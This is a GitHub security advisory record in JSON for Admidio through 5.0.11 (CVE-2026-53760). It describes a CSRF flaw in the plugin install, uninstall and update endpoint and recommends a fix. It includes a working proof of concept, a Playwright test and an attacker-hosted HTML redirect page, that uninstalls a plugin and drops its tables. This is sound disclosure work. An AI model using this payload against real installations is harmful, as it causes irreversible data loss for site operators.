{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T13:44:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `modules/plugins.php` endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include `SameSite=Lax` session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.\n\n## Details\n\n`modules/plugins.php` reads the `mode` (install, uninstall, update) and `name` parameters directly from `$_GET`:\n\n```php\n// modules/plugins.php\n$mode = admFuncVariableIsValid($_GET, \u0027mode\u0027, \u0027string\u0027);\n$pluginName = admFuncVariableIsValid($_GET, \u0027name\u0027, \u0027string\u0027);\n```\n\nThe file contains zero calls to `SecurityUtils::validateCsrfToken()`. Other administrative operations in the same codebase (such as the `save` mode in preferences) validate CSRF tokens correctly.\n\nBecause the operations use GET requests, modern browsers send `SameSite=Lax` cookies on top-level GET navigations (link clicks, redirects, `window.location` assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.\n\nThe `doUninstall()` function is the most destructive path. It executes SQL scripts from the plugin\u0027s `db_scripts/` directory, which contain `DROP TABLE` statements:\n\n```php\n// modules/plugins.php - doUninstall()\nfunction doUninstall($pluginFolder) {\n    // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql\n    // Contains DROP TABLE statements\n}\n```\n\n## Proof of Concept\n\nThe following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator\u0027s browser to the uninstall endpoint:\n\n```javascript\n// playwright-csrf-poc.js\nconst { test, expect } = require(\u0027@playwright/test\u0027);\n\ntest(\u0027CSRF plugin uninstall via cross-origin redirect\u0027, async ({ browser }) =\u003e {\n    const context = await browser.newContext();\n    const page = await context.newPage();\n\n    // Step 1: Admin logs in to Admidio\n    await page.goto(\u0027https://admidio.example.com/adm_program/system/login.php\u0027);\n    await page.fill(\u0027#usr_login_name\u0027, \u0027admin\u0027);\n    await page.fill(\u0027#usr_password\u0027, \u0027password\u0027);\n    await page.click(\u0027#btn_login\u0027);\n    await page.waitForURL(\u0027**/overview.php\u0027);\n\n    // Step 2: Admin visits attacker-controlled page on different origin\n    // The attacker page contains:\n    //   \u003cscript\u003ewindow.location = \u0027https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall\u0026name=birthday\u0027;\u003c/script\u003e\n    await page.goto(\u0027https://attacker.example.com/csrf.html\u0027);\n\n    // Step 3: Browser follows redirect with SameSite=Lax cookies\n    // The birthday plugin is uninstalled, its database tables dropped\n    await page.waitForURL(\u0027**/plugins.php*\u0027);\n\n    // Verify the plugin was uninstalled\n    await page.goto(\u0027https://admidio.example.com/adm_program/modules/plugins.php\u0027);\n    const content = await page.content();\n    expect(content).not.toContain(\u0027birthday\u0027);\n});\n```\n\nSimplified attacker page (`csrf.html` hosted on attacker origin):\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\n  window.location = \u0027https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall\u0026name=birthday\u0027;\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.\n\n## Impact\n\nAn unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The `uninstall` operation executes DROP TABLE statements, causing irreversible data loss. The `install` operation activates plugins with known vulnerabilities. The `update` operation disrupts plugin functionality. The victim only needs to visit a single page.\n\n## Recommended Fix\n\nSwitch plugin install, uninstall, and update operations from GET to POST requests. Add `SecurityUtils::validateCsrfToken()` checks to all state-changing operations in `modules/plugins.php`, consistent with the pattern used elsewhere in the codebase.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-hm42-q32m-vj4f",
  "modified": "2026-07-09T13:44:40Z",
  "published": "2026-07-09T13:44:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-hm42-q32m-vj4f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests"
}